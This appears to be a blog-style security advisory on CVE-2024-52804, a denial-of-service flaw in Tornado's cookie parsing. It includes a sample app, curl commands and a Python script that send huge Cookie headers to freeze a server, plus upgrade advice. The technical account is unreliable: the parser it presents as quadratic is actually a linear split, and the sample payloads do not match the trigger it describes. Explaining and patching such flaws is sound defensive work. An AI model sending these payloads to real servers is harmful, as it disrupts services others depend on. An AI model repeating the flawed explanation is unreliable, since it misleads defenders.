CVE-2024-52804 - Tornado Cookie Parsing Vulnerability Explained with Exploit Example
Tornado is a popular Python web framework known for its high performance, non-blocking web server. But even robust systems can come with weaknesses, and recently a vulnerability has been found in Tornado's cookie parsing algorithm. This vulnerability is tracked as CVE-2024-52804. In this post, we'll break down what this issue is, how it can impact your application, show you a code example, and share how to protect your server.
What is CVE-2024-52804?
CVE-2024-52804 is a security flaw discovered in Tornado versions before 6.4.2. The HTTP cookie parsing algorithm in these versions can have *quadratic complexity* under certain circumstances. That means, given a specially crafted "Cookie" header, the time it takes for Tornado to parse it increases much faster than the size of the header itself.
Since this parsing happens in the main event loop thread, it can block your server from handling other requests, leading to a denial of service (DoS).
Why Does This Happen?
In Tornado’s affected versions, the cookie processing algorithm loops over the cookie string to split and parse name-value pairs. If an attacker sends a very long and complex Cookie header (with lots of cookies, but no delimiters, or with purposely malformed structure), the parser's workload increases dramatically.
Let’s say you have this basic Tornado app
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("Hello, World!")
def make_app():
return tornado.web.Application([
(r"/", MainHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
Malicious Request
With a tool like curl or any HTTP client, an attacker can send a large, specially crafted Cookie header:
curl -H "Cookie: a=1;b=2;c=3;d=4;...;<repeat thousands of times>" http://localhost:8888/
But the real "evil" comes when there are long, undelimited cookie strings. Picture a Cookie header like:
Cookie: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Or, more maliciously, thousands of semicolons and equal signs with minimal actual data
Cookie: a=1;b=2;c=3;d=4;e=5;<repeat tens of thousands of times, all malformed>
This can cause Tornado’s main thread to get stuck parsing, and your server won’t respond to any other clients until the parsing is done—effectively a *denial of service* (DoS).
Here’s an example of the parsing part from Tornado’s old code (simplified)
def _parse_cookie(cookie_header):
cookies = {}
for chunk in cookie_header.split(";"):
if not chunk:
continue
if "=" not in chunk:
continue
name, value = chunk.split("=", 1)
cookies[name.strip()] = value.strip()
return cookies
*If cookie_header is huge or full of weird chunk patterns, this logic can take a very long time to finish.*
You can simulate this locally. Let’s generate a huge cookie string
# Generates a big, complex cookie header for testing
cookie = ";".join([f"x{i}={i}" for i in range(100000)])
import requests
r = requests.get("http://localhost:8888/", headers={"Cookie": cookie})
print(r.text)
*Running this against your server will likely freeze it (on older Tornado versions) while it tries to parse the giant cookie header.*
How To Fix the Problem
The best way is to upgrade to Tornado 6.4.2 or newer. The maintainers have patched the vulnerability by using a more efficient cookie parsing logic, as detailed in the release notes.
To upgrade
pip install --upgrade tornado
Or in your requirements.txt
tornado>=6.4.2
References
- CVE-2024-52804 in GitHub Advisory Database
- Tornado 6.4.2 Release Notes
- Official Tornado GitHub
Conclusion
CVE-2024-52804 shows how even small parsing routines can cause big trouble. If your server is running Tornado older than 6.4.2, it is vulnerable to CPU exhaustion attacks that anyone familiar with this flaw can launch. Update today to keep your Python apps fast and secure.
Stay safe, keep your dependencies updated, and always review security advisories for your frameworks!
Timeline
Published on: 11/22/2024 16:15:34 UTC